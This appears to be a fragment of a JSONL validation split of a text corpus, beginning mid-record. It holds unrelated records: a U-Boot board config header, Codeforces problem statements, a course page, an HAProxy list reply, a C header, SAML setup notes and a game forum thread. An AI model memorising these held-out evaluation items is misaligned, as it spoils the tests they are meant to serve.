PLB/SDRAM, 66MHz EBC, 33MHz PCI,\n! assuming a 33MHz input clock to the 405EP from the C9531.\n!-------------------------------------------------------------------------------\n*/\n#define PLLMR0_DEFAULT   PLLMR0_266_133_66\n#define PLLMR1_DEFAULT   PLLMR1_266_133_66\n\n#endif\n/*----------------------------------------------------------------------------*/\n\n/*\n * Define here the location of the environment variables (FLASH or NVRAM).\n * Note: DENX encourages to use redundant environment in FLASH. NVRAM is only\n *       supported for backward compatibility.\n */\n#if 1\n#define CONFIG_ENV_IS_IN_FLASH     1\t/* use FLASH for environment vars\t*/\n#else\n#define CONFIG_ENV_IS_IN_NVRAM\t1\t/* use NVRAM for environment vars\t*/\n#endif\n\n/*\n * Default environment variables\n */\n#define\tCONFIG_EXTRA_ENV_SETTINGS\t\t\t\t\t\\\n\tCONFIG_AMCC_DEF_ENV\t\t\t\t\t\t\\\n\tCONFIG_AMCC_DEF_ENV_PPC\t\t\t\t\t\t\\\n\tCONFIG_AMCC_DEF_ENV_NOR_UPD\t\t\t\t\t\\\n\t\"kernel_addr=fff80000\\0\"\t\t\t\t\t\\\n\t\"ramdisk_addr=fff90000\\0\"\t\t\t\t\t\\\n\t\"\"\n\n#define\tCONFIG_PHY_ADDR\t\t1\t/* PHY address\t\t\t*/\n#define CONFIG_HAS_ETH0\n#define CONFIG_HAS_ETH1\n#define CONFIG_PHY1_ADDR\t2\t/* EMAC1 PHY address\t\t*/\n\n#define CONFIG_RTC_DS174x\t1\t/* use DS1743 RTC in Bubinga\t*/\n\n/*\n * Commands additional to the ones defined in amcc-common.h\n */\n#define CONFIG_CMD_DATE\n#define CONFIG_CMD_PCI\n#define CONFIG_CMD_SDRAM\n#define CONFIG_CMD_SNTP\n\n#define CONFIG_SPD_EEPROM      1       /* use SPD EEPROM for setup    */\n\n/*\n * If CONFIG_SYS_EXT_SERIAL_CLOCK, then the UART divisor is 1.\n * If CONFIG_SYS_405_UART_ERRATA_59, then UART divisor is 31.\n * Otherwise, UART divisor is determined by CPU Clock and CONFIG_SYS_BASE_BAUD value.\n * The Linux BASE_BAUD define should match this configuration.\n *    baseBaud = cpuClock/(uartDivisor*16)\n * If CONFIG_SYS_405_UART_ERRATA_59 and 200MHz CPU clock,\n * set Linux BASE_BAUD to 403200.\n */\n#define CONFIG_CONS_INDEX\t1\t/* Use UART0\t\t\t*/\n#undef  CONFIG_SYS_EXT_SERIAL_CLOCK           /* external serial clock */\n#undef  CONFIG_SYS_405_UART_ERRATA_59         /* 405GP/CR Rev. D silicon */\n#define CONFIG_SYS_BASE_BAUD       691200\n\n/*-----------------------------------------------------------------------\n * I2C stuff\n *-----------------------------------------------------------------------\n */\n#define CONFIG_SYS_I2C_PPC4XX_SPEED_0\t\t400000\n\n#define CONFIG_SYS_I2C_NOPROBES\t{ {0, 0x69} }\t/* avoid i2c probe hangup (?) */\n#define CONFIG_SYS_EEPROM_PAGE_WRITE_DELAY_MS\t6\t/* 24C02 requires 5ms delay */\n\n#if defined(CONFIG_CMD_EEPROM)\n#define CONFIG_SYS_I2C_EEPROM_ADDR\t0x50\t/* I2C boot EEPROM (24C02W)\t*/\n#define CONFIG_SYS_I2C_EEPROM_ADDR_LEN\t1\t/* Bytes of address\t\t*/\n#endif\n\n/*-----------------------------------------------------------------------\n * PCI stuff\n *-----------------------------------------------------------------------\n */\n#define PCI_HOST_ADAPTER 0              /* configure ar pci adapter     */\n#define PCI_HOST_FORCE  1               /* configure as pci host        */\n#define PCI_HOST_AUTO   2               /* detected via arbiter enable  */\n\n#define CONFIG_PCI\t\t\t/* include pci support\t        */\n#define CONFIG_PCI_INDIRECT_BRIDGE\t/* indirect PCI bridge support */\n#define CONFIG_PCI_HOST\tPCI_HOST_FORCE  /* select pci host function     */\n#define CONFIG_PCI_PNP\t\t\t/* do pci plug-and-play         */\n\t\t\t\t\t/* resource configuration       */\n#define CONFIG_PCI_SCAN_SHOW            /* show pci devices on startup  */\n\n#define CONFIG_SYS_PCI_SUBSYS_VENDORID 0x10e8\t/* AMCC */\n#define CONFIG_SYS_PCI_SUBSYS_DEVICEID 0xcafe\t/* Whatever */\n#define CONFIG_SYS_PCI_CLASSCODE       0x0600  /* PCI Class Code: bridge/host  */\n#define CONFIG_SYS_PCI_PTM1LA  0x00000000      /* point to sdram               */\n#define CONFIG_SYS_PCI_PTM1MS  0x80000001      /* 2GB, enable hard-wired to 1  */\n#define CONFIG_SYS_PCI_PTM1PCI 0x00000000      /* Host: use this pci address   */\n#define CONFIG_SYS_PCI_PTM2LA  0x00000000      /* disabled                     */\n#define CONFIG_SYS_PCI_PTM2MS  0x00000000      /* disabled                     */\n#define CONFIG_SYS_PCI_PTM2PCI 0x04000000      /* Host: use this pci address   */\n\n/*-----------------------------------------------------------------------\n * External peripheral base address\n *-----------------------------------------------------------------------\n */\n#define\tCONFIG_SYS_KEY_REG_BASE_ADDR\t0xF0100000\n#define\tCONFIG_SYS_IR_REG_BASE_ADDR\t0xF0200000\n#define\tCONFIG_SYS_FPGA_REG_BASE_ADDR\t0xF0300000\n\n/*-----------------------------------------------------------------------\n * Start addresses for the final memory configuration\n * (Set up by the startup code)\n */\n#define CONFIG_SYS_SRAM_BASE\t\t0xFFF00000\n#define CONFIG_SYS_SRAM_SIZE\t\t(256 << 10)\n#define CONFIG_SYS_FLASH_BASE\t\t0xFFF80000\n\n/*-----------------------------------------------------------------------\n * FLASH organization\n */\n#define CONFIG_SYS_MAX_FLASH_BANKS\t1\t/* max number of memory banks\t\t*/\n#define CONFIG_SYS_MAX_FLASH_SECT\t256\t/* max number of sectors on one chip\t*/\n\n#define CONFIG_SYS_FLASH_ERASE_TOUT\t120000\t/* Timeout for Flash Erase (in ms)\t*/\n#define CONFIG_SYS_FLASH_WRITE_TOUT\t500\t/* Timeout for Flash Write (in ms)\t*/\n\n#define CONFIG_SYS_FLASH_ADDR0         0x5555\n#define CONFIG_SYS_FLASH_ADDR1         0x2aaa\n#define CONFIG_SYS_FLASH_WORD_SIZE     unsigned char\n\n#ifdef CONFIG_ENV_IS_IN_FLASH\n#define CONFIG_ENV_SECT_SIZE\t0x10000\t/* size of one complete sector\t*/\n#define CONFIG_ENV_ADDR\t\t(CONFIG_SYS_MONITOR_BASE-CONFIG_ENV_SECT_SIZE)\n#define\tCONFIG_ENV_SIZE\t\t0x4000\t/* Total Size of Environment Sector\t*/\n\n/* Address and size of Redundant Environment Sector\t*/\n#define CONFIG_ENV_ADDR_REDUND\t(CONFIG_ENV_ADDR-CONFIG_ENV_SECT_SIZE)\n#define CONFIG_ENV_SIZE_REDUND\t(CONFIG_ENV_SIZE)\n#endif /* CONFIG_ENV_IS_IN_FLASH */\n\n/*-----------------------------------------------------------------------\n * NVRAM organization\n */\n#define CONFIG_SYS_NVRAM_BASE_ADDR\t0xf0000000\t/* NVRAM base address\t*/\n#define CONFIG_SYS_NVRAM_SIZE\t\t0x1ff8\t\t/* NVRAM size\t*/\n\n#ifdef CONFIG_ENV_IS_IN_NVRAM\n#define CONFIG_ENV_SIZE\t\t0x0ff8\t\t/* Size of Environment vars\t*/\n#define CONFIG_ENV_ADDR\t\t\\\n\t(CONFIG_SYS_NVRAM_BASE_ADDR+CONFIG_SYS_NVRAM_SIZE-CONFIG_ENV_SIZE)\t/* Env\t*/\n#endif\n\n/*\n * Init Memory Controller:\n *\n * BR0/1 and OR0/1 (FLASH)\n */\n\n#define FLASH_BASE0_PRELIM\tCONFIG_SYS_FLASH_BASE\t/* FLASH bank #0\t*/\n#define FLASH_BASE1_PRELIM\t0\t\t/* FLASH bank #1\t*/\n\n/*-----------------------------------------------------------------------\n * Definitions for initial stack pointer and data area (in data cache)\n */\n/* use on chip memory ( OCM ) for temperary stack until sdram is tested */\n#define CONFIG_SYS_TEMP_STACK_OCM        1\n\n/* On Chip Memory location */\n#define CONFIG_SYS_OCM_DATA_ADDR\t0xF8000000\n#define CONFIG_SYS_OCM_DATA_SIZE\t0x1000\n#define CONFIG_SYS_INIT_RAM_ADDR\tCONFIG_SYS_OCM_DATA_ADDR /* inside of SDRAM\t\t*/\n#define CONFIG_SYS_INIT_RAM_SIZE\tCONFIG_SYS_OCM_DATA_SIZE /* Size of used area in RAM\t*/\n\n#define CONFIG_SYS_GBL_DATA_OFFSET    (CONFIG_SYS_INIT_RAM_SIZE - GENERATED_GBL_DATA_SIZE)\n#define CONFIG_SYS_INIT_SP_OFFSET      CONFIG_SYS_GBL_DATA_OFFSET\n\n/*-----------------------------------------------------------------------\n * External Bus Controller (EBC) Setup\n */\n\n/* Memory Bank 0 (Flash/SRAM) initialization                                    */\n#define CONFIG_SYS_EBC_PB0AP           0x04006000\n#define CONFIG_SYS_EBC_PB0CR           0xFFF18000  /* BAS=0xFFF,BS=1MB,BU=R/W,BW=8bit  */\n\n/* Memory Bank 1 (NVRAM/RTC) initialization                                     */\n#define CONFIG_SYS_EBC_PB1AP           0x04041000\n#define CONFIG_SYS_EBC_PB1CR           0xF0018000  /* BAS=0xF00,BS=1MB,BU=R/W,BW=8bit  */\n\n/* Memory Bank 2 (not used) initialization                                      */\n#define CONFIG_SYS_EBC_PB2AP           0x00000000\n#define CONFIG_SYS_EBC_PB2CR           0x00000000\n\n/* Memory Bank 2 (not used) initialization                                      */\n#define CONFIG_SYS_EBC_PB3AP           0x00000000\n#define CONFIG_SYS_EBC_PB3CR           0x00000000\n\n/* Memory Bank 4 (FPGA regs) initialization                                     */\n#define CONFIG_SYS_EBC_PB4AP           0x01815000\n#define CONFIG_SYS_EBC_PB4CR           0xF0318000  /* BAS=0xF03,BS=1MB,BU=R/W,BW=8bit  */\n\n/*-----------------------------------------------------------------------\n * Definitions for Serial Presence Detect EEPROM address\n * (to get SDRAM settings)\n */\n#define SPD_EEPROM_ADDRESS      0x55\n\n/*-----------------------------------------------------------------------\n * Definitions for GPIO setup (PPC405EP specific)\n *\n * GPIO0[0]     - External Bus Controller BLAST output\n * GPIO0[1-9]   - Instruction trace outputs\n * GPIO0[10-13] - External Bus Controller CS_1 - CS_4 outputs\n * GPIO0[14-16] - External Bus Controller ABUS3-ABUS5 outputs\n * GPIO0[17-23] - External Interrupts IRQ0 - IRQ6 inputs\n * GPIO0[24-27] - UART0 control signal inputs/outputs\n * GPIO0[28-29] - UART1 data signal input/output\n * GPIO0[30-31] - EMAC0 and EMAC1 reject packet inputs\n */\n#define CONFIG_SYS_GPIO0_OSRL          0x55555555\n#define CONFIG_SYS_GPIO0_OSRH          0x40000110\n#define CONFIG_SYS_GPIO0_ISR1L         0x00000000\n#define CONFIG_SYS_GPIO0_ISR1H         0x15555445\n#define CONFIG_SYS_GPIO0_TSRL          0x00000000\n#define CONFIG_SYS_GPIO0_TSRH          0x00000000\n#define CONFIG_SYS_GPIO0_TCR           0xFFFF8014\n\n/*-----------------------------------------------------------------------\n * Some BUBINGA stuff...\n */\n#define NVRAM_BASE      0xF0000000\n#define FPGA_REG0       0xF0300000    /* FPGA Reg 0              */\n#define FPGA_REG1       0xF0300001    /* FPGA Reg 1              */\n#define NVRVFY1     0x4f532d4f    /* used to determine if state data in */\n#define NVRVFY2     0x50454e00    /* NVRAM initialized (ascii for OS-OPEN)*/\n\n#define FPGA_REG0_F_RANGE     0x80       /* SDRAM PLL freq range              */\n#define FPGA_REG0_EXT_INT_DIS 0x20       /* External interface disable        */\n#define FPGA_REG0_LED_MASK    0x07       /* Board LEDs DS9, DS10, and DS11    */\n#define FPGA_REG0_LED0        0x04       /* Turn on LED0                      */\n#define FPGA_REG0_LED1        0x02       /* Turn on LED1                      */\n#define FPGA_REG0_LED2        0x01       /* Turn on LED2                      */\n\n#define FPGA_REG1_SSPEC_DIS   0x80       /* C9531 Spread Spectrum disabled    */\n#define FPGA_REG1_OFFBD_PCICLK 0x40      /* Onboard PCI clock selected       */\n#define FPGA_REG1_CLOCK_MASK  0x30       /* Mask for C9531 output freq select */\n#define FPGA_REG1_CLOCK_BIT_SHIFT  4\n#define FPGA_REG1_PCI_INT_ARB 0x08       /* PCI Internal arbiter selected     */\n#define FPGA_REG1_PCI_FREQ    0x04       /* PCI Frequency select              */\n#define FPGA_REG1_OFFB_FLASH  0x02       /* Off board flash                   */\n#define FPGA_REG1_SRAM_BOOT   0x01       /* SRAM at 0xFFF80000 not Flash      */\n\n#endif\t/* __CONFIG_H */", "source": "cpt_stack_code", "language": "code", "token_count": 3490, "token_count_with_eod": 3491, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "In some game by Playrix it takes t minutes for an oven to bake k carrot cakes, all cakes are ready at the same moment t minutes after they started baking. Arkady needs at least n cakes to complete a task, but he currently don't have any. However, he has infinitely many ingredients and one oven. Moreover, Arkady can build one more similar oven to make the process faster, it would take d minutes to build the oven. While the new oven is being built, only old one can bake cakes, after the new oven is built, both ovens bake simultaneously. Arkady can't build more than one oven.\n\nDetermine if it is reasonable to build the second oven, i.e. will it decrease the minimum time needed to get n cakes or not. If the time needed with the second oven is the same as with one oven, then it is unreasonable.", "source": "cpt_codeforces", "language": "en", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is the post for the week of August 25, 2015.\nThis site is the official home for our Fall 2015 course (CRNs #83186 and #86919). Information on all assignments, weekly activities, and related resources will be posted here. Check this site regularly for the details on what to do for the course.\nReadings for the Week of August 25\nFor today’s session, please read the following:\n- The pages for the Syllabus and Assignments.\n- Information on course logistics.\n- Details on the characteristics of technical writing and chapter 1 of Markel.\n- Suggestions for writing collaboratively and chapter 3 of Markel.\n- The assignment for Project 1: Professional Biographies.\n- Some tips on writing biographical statements for Project 1.\n- Student Getting Started with Canvas Guide.\nWork for the Week of August 25\nThis week is about making sure you understand the course policies, getting set up, and generally touching base with one another. If you have technical difficulty with this week’s class work, don’t panic! Send an email to tengrrl at vt.edu and let me know what you need help with.\nPlease complete these tasks by 11:55 PM on Monday, August 31:\nLog into Canvas, using your PID and password. Contact 4HELP if you need assistance with your login. You can find help for Canvas 24/7 by using the Help link on the Canvas site and in the Canvas: Getting Started for Students article.\nConfirm that your notifications in Canvas are set the way you want them. Note that Canvas uses your notification preferences to determine whether to email you or text you (or not tell you at all) about information in the site. See the section \"How do I adjust my notification preferences?\" in the Student Getting Started with Canvas Guide for more information on setting up your notifications.\n- Verify that you understand how the course works:\nGo to the Discussions tool (in the left menu in Canvas), and respond to these posts:\n- If you have any questions about the syllabus or course logistics, reply to the Pinned Discussion for \"Questions about the Syllabus and/or Course Logistics.\"\n- Once you understand the information for the course and any questions you have are answered, reply to the Syllabus Verification Discussion to confirm that you have read the Syllabus and information on course logistics.\nBegin work on Project 1:\n- Go to the Discussions tool in Canvas, and choose the the “Readings for Project 1” topic. Discuss what you read in the Some tips on writing biographical statements with the members of your group.\n- If you have any questions (today or in the future) about the first assignment, reply to the Pinned Discussion for \"Questions about Project 1\" topic in Canvas Discussions tool and add them. You can skim through this topic for answers as well.\nComplete the quizzes for the week’s readings:\n- Go to Quizzes in Canvas, and complete the reading quizzes on Chapter 1 and Chapter 3 of Markel. See the policies for quizzes on the course logistics page.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 672, "token_count_with_eod": 673, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Welcome to my Home\nAfter several years of using Googlesite, I decided it was time for my own domain\nI hope you like my new home, please feel free to browse the information on this site.\nTo go with this site i have a You Tube channel, while i try to respond to any questions, i am not always notified, so if you have asked a question and haven't had an answer in a reasonable time, then please hop into discord or my forum.\nThis is a site that documents all my projects. I have great interest in high voltage, Audio and Visual, and many other things. Please take the time to read this site, you will most likely find something of interest in some of your projects,\nI'm not just documenting my successes, but also my failures, but each failure is a learning process, just be careful you don't do the ultimate failure, [read any and all warnings] if you intend playing with voltages, even low voltage can kill in certain circumstances.\nThis site may change as time goes by.\nYou may freely link to any content or page. You may not hotlink any images etc You may copy any snippet of information providing you credit me with the creation", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi Christopher, On Thu, Mar 26, 2020 at 07:40:06AM +0100, Christopher Faulet wrote: > Thanks ! However there are many problems with your patch. First there is no > commit message. You must explain what is exactly the problem and how you fix > it. Then, the documentation must be updated. You introduced 2 new options > without any explanation. Without these info, it is really hard to figure out > what the patch do.\nI noticed these as well, thanks for pointing out before me :-) > But reading how headers and body buffers are inserted in > the request, I suspect some bugs. A reg-test is probably necessary to > validate such feature. Yes that would indeed be useful. > But, don't bother for now submitting a new patch. I'm currently refactoring > the tcp-checks. But on my todo list, the next big step is the http-check > refactoring. It is painful but I hope to finish the refactoring of the > checks for the 2.2.0. My main concern is the backward compatibility. Kiran's patch is small enough to be backported, so that might constitute a possible solution for existing setups. However we cannot afford to do that if it works differently than what we'll have in the final release. As such I think it's important to quickly figure how we want such a separate body part to be *configured* and make sure that it's done the same in your new version and in Kiran's patch. If so, then we could imagine merging it early to have it backported so that it's ultimately replaced in 2.2 by your work once ready. What do you think ? Thanks, Willy", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 364, "token_count_with_eod": 365, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "As we continue to push the boundaries of technology, particularly in the automotive industry, it’s crucial that we prioritize the ethical development and deployment of Advanced Driver Assistance Systems (ADAS) and autonomous driving capabilities. Recent news highlights some of the challenges faced by industry leaders like Tesla, who faced a recall of 362,758 vehicles equipped with Full Self-Driving (FSD) Beta software due to safety concerns. Additionally, a class-action lawsuit alleges Tesla employees shared private, sometimes embarrassing photos and videos captured by car cameras without customers’ consent. These incidents serve as a reminder that transparency, privacy, and safety must be at the core of automotive data collection and utilization.\nAt Insight Autonomy, our mission is to create next-generation ADAS and autonomous vehicle components by leveraging the power of collective, user-generated driving data. We believe in democratizing this process to ensure that it is equitable, ethical, and accessible to everyone. Our approach to data collection involves obtaining explicit consent from our users and providing them with a clear understanding of how their data will be used. We are committed to preserving individual privacy and continuously developing measures to prevent unauthorized access or misuse of the data we collect.\nThe development of safer and more robust ADAS relies on a diverse and extensive dataset. By involving the wider driving community, we can create systems that are better equipped to handle the complexities of real-world driving scenarios. Transparent and ethical data collection practices not only benefit the end-users but also enhance the public’s trust in these advanced technologies. This trust is essential for the widespread adoption of ADAS and autonomous vehicles.\nIn conclusion, the democratization of automotive data collection is crucial to achieving safer ADAS and preserving individual privacy. By focusing on transparency, ethics, and user consent, we can pave the way for a future where advanced driving technologies are both accessible and trusted by the public. At Insight Autonomy, we are dedicated to making this future a reality and working together with our users to drive change in the automotive industry.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 403, "token_count_with_eod": 404, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "PolandBall is standing in a row with Many Other Balls. More precisely, there are exactly n Balls. Balls are proud of their home land — and they want to prove that it's strong.\n\nThe Balls decided to start with selecting exactly m groups of Balls, each consisting either of single Ball or two neighboring Balls. Each Ball can join no more than one group.\n\nThe Balls really want to impress their Enemies. They kindly asked you to calculate number of such divisions for all m where 1 ≤ m ≤ k. Output all these values modulo 998244353, the Enemies will be impressed anyway.", "source": "cpt_codeforces", "language": "en", "token_count": 130, "token_count_with_eod": 131, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Let's denote the median of a sequence $$$s$$$ with odd length as the value in the middle of $$$s$$$ if we sort $$$s$$$ in non-decreasing order. For example, let $$$s = [1, 2, 5, 7, 2, 3, 12]$$$. After sorting, we get sequence $$$[1, 2, 2, \\underline{3}, 5, 7, 12]$$$, and the median is equal to $$$3$$$.\n\nYou have a sequence of $$$n$$$ integers $$$[1, 2, \\dots, n]$$$ and an odd integer $$$k$$$.\n\nIn one step, you choose any $$$k$$$ elements from the sequence and erase all chosen elements except their median. These elements do not have to go continuously (gaps are allowed between them).\n\nFor example, if you have a sequence $$$[1, 2, 3, 4, 5, 6, 7]$$$ (i.e. $$$n=7$$$) and $$$k = 3$$$, then the following options for the first step are possible:\n\n- choose $$$[1, \\underline{2}, 3]$$$; $$$2$$$ is their median, so it is not erased, and the resulting sequence is $$$[2, 4, 5, 6, 7]$$$;\n- choose $$$[2, \\underline{4}, 6]$$$; $$$4$$$ is their median, so it is not erased, and the resulting sequence is $$$[1, 3, 4, 5, 7]$$$;\n- choose $$$[1, \\underline{6}, 7]$$$; $$$6$$$ is their median, so it is not erased, and the resulting sequence is $$$[2, 3, 4, 5, 6]$$$;\n- and several others.\n\nYou can do zero or more steps. Can you get a sequence $$$b_1$$$, $$$b_2$$$, ..., $$$b_m$$$ after several steps?\n\nYou'll be given $$$t$$$ test cases. Solve each test case independently.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n * Copyright (c) 2017-2021, Alibaba Group Holding Limited\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#ifndef _PFSD_WORKER_H_\n#define _PFSD_WORKER_H_\n\n#include <pthread.h>\n#include \"pfsd_proto.h\"\n#include \"pfsd_common.h\"\n\nstruct pfsd_iochannel;\n\nextern volatile bool g_stop;\n\n/*A worker thread is dedicated to a shm */\ntypedef struct worker {\n\tpthread_t w_tid;\n\tint w_idx;\n\tint w_nch;\n\tstruct pfsd_iochannel *w_channels[PFSD_SHM_MAX  *PFSD_WORKER_MAX];\n\tsem_t w_sem; /*for sync start thread */\n\tpfsd_cpu_record_t *w_cr; /*if it set affinity */\n} worker_t;\n\nextern worker_t *g_workers;\nextern int g_nworkers;\n\nworker_t *pfsd_create_workers(int nworkers);\nvoid pfsd_destroy_workers(worker_t **workers);\n\nvoid *pfsd_worker_routine(void *arg);\n\nextern pfsd_cpu_record_t *g_cpufile;\nextern int g_ncpu;\n/*Exec in main thread when start, find available core for worker threads */\nvoid *pfsd_worker_affinity_prepare(int nworkers);\nbool pfsd_worker_bind_cpuset(worker_t *worker);\nbool pfsd_is_busy_cpu(int cpuid, int ncpu);\n\nint pfsd_worker_handle_request(pfsd_iochannel *ch, int index);\n\nvoid pfsd_worker_handle_growfs(pfsd_iochannel *ch, int index, const growfs_request_t *req, growfs_response_t *rsp);\nvoid pfsd_worker_handle_rename(pfsd_iochannel *ch, int index, const rename_request_t *req, rename_response_t *rsp);\nvoid pfsd_worker_handle_open(pfsd_iochannel *ch, int index, const open_request_t *req, open_response_t *rsp);\nvoid pfsd_worker_handle_read(pfsd_iochannel *ch, int index, const read_request_t *req, read_response_t *rsp);\nvoid pfsd_worker_handle_write(pfsd_iochannel *ch, int index, const write_request_t *req, write_response_t *rsp);\nvoid pfsd_worker_handle_truncate(pfsd_iochannel *ch, int index, const truncate_request_t *req, truncate_response_t *rsp);\nvoid pfsd_worker_handle_ftruncate(pfsd_iochannel *ch, int index, const ftruncate_request_t *req, ftruncate_response_t *rsp);\nvoid pfsd_worker_handle_unlink(pfsd_iochannel *ch, int index, const unlink_request_t *req, unlink_response_t *rsp);\nvoid pfsd_worker_handle_stat(pfsd_iochannel *ch, int index, const stat_request_t *req, stat_response_t *rsp);\nvoid pfsd_worker_handle_fstat(pfsd_iochannel *ch, int index, const fstat_request_t *req, fstat_response_t *rsp);\nvoid pfsd_worker_handle_fallocate(pfsd_iochannel *ch, int index, const fallocate_request_t *req, fallocate_response_t *rsp);\nvoid pfsd_worker_handle_chdir(pfsd_iochannel *ch, int index, const chdir_request_t *req, chdir_response_t *rsp);\nvoid pfsd_worker_handle_mkdir(pfsd_iochannel *ch, int index, const mkdir_request_t *req, mkdir_response_t *rsp);\nvoid pfsd_worker_handle_rmdir(pfsd_iochannel *ch, int index, const rmdir_request_t *req, rmdir_response_t *rsp);\nvoid pfsd_worker_handle_opendir(pfsd_iochannel *ch, int index, const opendir_request_t *req, opendir_response_t *rsp);\nvoid pfsd_worker_handle_readdir(pfsd_iochannel *ch, int index, const readdir_request_t *req, readdir_response_t *rsp);\nvoid pfsd_worker_handle_access(pfsd_iochannel *ch, int index, const access_request_t *req, access_response_t *rsp);\nvoid pfsd_worker_handle_lseek(pfsd_iochannel *ch, int index, const lseek_request_t *req, lseek_response_t *rsp);\n\n/*for debug : return current processing request's pid  */\npid_t pfsd_worker_current_processing_pid();\n\n#endif", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "After you create and enable a SAML authenticator for the identity provider you want to use, you might need to generate Connection Server metadata. You use this metadata to create a service provider on the Unified Access Gateway appliance or a third-party load balancer that is the identity provider.\nVerify that you have created a SAML authenticator for the identity provider: Unified Access Gateway or a third-party load balancer or gateway.\n- Open a new browser tab and enter the URL for getting the Connection Server SAML metadata.\nIn this example, connection-server.example.com is the fully qualified domain name of the Connection Server host.This page displays the SAML metadata from Connection Server.\n- Use a Save As command to save the Web page to an XML file.\nFor example, you could save the page to a file named connection-server-metadata.xml. The contents of this file begin with the following text:\n<md:EntityDescriptor xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\" ...\nWhat to do next\nUse the appropriate procedure on the identity provider to copy in the Connection Server SAML metadata. Refer to the documentation for Unified Access Gateway or a third-party load balancer or gateway.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 251, "token_count_with_eod": 252, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A tree is a connected undirected graph without cycles. Note that in this problem, we are talking about not rooted trees.\n\nYou are given four positive integers $$$n, d_{12}, d_{23}$$$ and $$$d_{31}$$$. Construct a tree such that:\n\n- it contains $$$n$$$ vertices numbered from $$$1$$$ to $$$n$$$,\n- the distance (length of the shortest path) from vertex $$$1$$$ to vertex $$$2$$$ is $$$d_{12}$$$,\n- distance from vertex $$$2$$$ to vertex $$$3$$$ is $$$d_{23}$$$,\n- the distance from vertex $$$3$$$ to vertex $$$1$$$ is $$$d_{31}$$$.\n\nOutput any tree that satisfies all the requirements above, or determine that no such tree exists.", "source": "cpt_codeforces", "language": "en", "token_count": 173, "token_count_with_eod": 174, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hello all, I got attacked while i was online, I have 2 devices and switch between them regularly. This has happened to me multiple times. It should not put me offline instant I am switching between IOS devices. I just lost 500k gold just because of this. Really frustrating.\nYou got attacked because you was offline, So you know why you got attacked. The second you leave the game the wolves will sniff you out.\nYou close the game and you immediately turn Offline… and you can be attacked the second you do this, then you get what my profile picture shows.\nI turned the game on, on the second device first. It goes online. Then i turned the first device off. This actually works most of the time.\nMy suspicion is that if I forget to turn off the first device it goes to offline mode. Then that triggers attackable meanwhile i’m online on the second device doing my raids and no notification till I go back to the first device.\nTrust me I been keeping good eye staying online and not turning the devices off while I have the loot. But the iphone doesn’t have a lot of battery and my old Ipad isn’t great for gaming.\nI can give a suggestion using methods like COC(clash of clans) does. where it will disconnect the first device automatically when you connect on second device. This way you know only one device is online at a time. This would prevent problems like this.\nYou have about 2-3 minutes before the game says you are offline and as soon as that 2 min or close to 2 min timer hits you are free game to anyone and even if you log back in you can be attacked and see the icon in the top left that you are being raided. A lot of people are raiding nonstop and if you happen to pop up in the randoms list as I have noticed a lot of times the random list like to pick people that just logged off there. OR if someone is watching and eyeing your gold because it is high they will sit there and spam attempt attack you until it works or you spend your gold.\nI know of people that for a hour straight try to farm one dude cause he had like 2mil showing\nDont get me wrong i do the same thing personally love that part of the game. I repeatedly go out and in to refresh the loot (this needs a refresh button instead\nThis can test this with connected 2 devices with a lot of loot, keep one device connected while other one slowly goes offline and shows the king message.\nSo then this might rather be considered a bug and belong to the “bug reports & technical help” section? (Leaving it here for now for further discussion, though.)\nI see this can be annoying, though I guess fixing it is absolutely low priority to Flaregames as most players just have only one device or are online at only 1 device at any time…\nHowever, as Bladestorm pointed out, when you exit the game (being only online on 1 device), you have some time before the game actually treats you as offline. Times for this might vary a bit, but it should be more than long enough to load up the game again on the same or another device.\nThus I guess it might actually be better to 1. exit the game on your first device, then 2. enter the game on your second device. This way only on 1 device you’re logged in at any time, and the few seconds where you are not logged in on any of them are covered by the threshold duration between logging off and being treated as offline/raid-able.\nClosing the app first and launching then on second device seems like good solution time being. What is the exact duration till you are marked as attackable? Im guessing its around a min or 2 but what is it exactly would help a lot on other stuff too, like checking a text message.\nI’m not sure whether or not a required re-log after switching to a different app and back also means you’ve been marked attackable immediately, but at least that time varies for me.\nE.g. once clicked a chat notification (for some other app), read new chat messages for like 10-15 seconds, switched back to RR2 and got shown the login/loading screen. At other times I were in some other app for like 40 seconds, then switched back and game was still logged in and continued just as normal (even during a paused raid).\nThough, I don’t know whether the “mark as attackable” timer might be fixed or varying too…\nAs a rule of thumb I use “hurry and switch back as soon as possible” and switch between apps back and forth a few times in a row if I need to read a longer message that I couldn’t read at once without relogging.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1004, "token_count_with_eod": 1005, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "CYsmart is a patented solution for the industrial IoT.\nThe perfect fusion of hardware and software in which we have integrated Smart Edge Computing ™ technology.\nThis \"end to end\" solution is unique in the industrial IoT market.\nOur solution continues to develop new skills, our Team too.\nA complete and competent team at the service of the digital transition with the will to allow an intelligent analysis closer to the industrial data.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 87, "token_count_with_eod": 88, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
